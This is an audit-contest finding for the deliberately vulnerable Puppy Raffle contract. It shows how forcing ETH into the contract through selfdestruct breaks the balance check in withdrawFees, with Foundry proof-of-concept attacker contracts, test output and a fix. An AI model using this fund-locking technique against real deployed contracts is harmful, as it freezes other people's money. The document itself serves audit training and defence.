Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

[H]During withdrawal operations in `withdrawFees`, an attacker can use the `selfdestruct` mechanism to modify `address(this).balance`, causing the `require` condition to always fail and preventing funds from ever being withdrawn.

huicanvie

Root + Impact

Description

  • The owner can call the `withdrawFees`function to send the totalfees to feeAddress.

  • Attacker can use the `selfdestruct` to modify the balance of this contract.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");//@> address(this).balance can be modified by attacker
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • If an attacker deploys their own malicious contract and then uses selfdestruct to forcibly transfer the balance to this contract

Impact:

  • the condition `address(this).balance == uint256(totalFees)` does not hold, then fees can never be withdrawn and the funds will be locked


Proof of Concept

  1. Attacker write a attack contract which can call selfDestruct function

  2. Attacker call `selfDestruct` to send 1 wei to the PuppyRaffle contract

  3. Then address(this).balance != uint256(totalFees)

    contract Attacker1 {
    function selfDestruct(address payable target) external {
    selfdestruct(target);
    }
    ​
    receive() external payable {}
    }
    ​
    function test_Poc_WithdrawFees() public playersEntered {
    // 1. Create Attacker contract and transfer 1wei to it
    Attacker1 attacker = new Attacker1();
    payable(address(attacker)).transfer(1 wei);
    ​
    // 2. Time passes, raffle ends
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    ​
    // 3. Select a winner
    puppyRaffle.selectWinner();
    console.log("puppyRaffle before balance: ", address(puppyRaffle).balance);
    console.log("totalfees: ", 4 * entranceFee * 20 / 100);
    // 4. Attacker self-destructs and sends 1wei to the PuppyRaffle contract
    attacker.selfDestruct(payable(address(puppyRaffle)));
    // 5. Players call withdrawFees() function, but funds are locked
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
    console.log("After attack the balance: ", address(puppyRaffle).balance);
    }

Recommended Mitigation

  1. Don not use address(this).balance == uint256(totalFees)

  2. Only use `uint256(totalFees) > 0`

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(uint256(totalFees) > 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!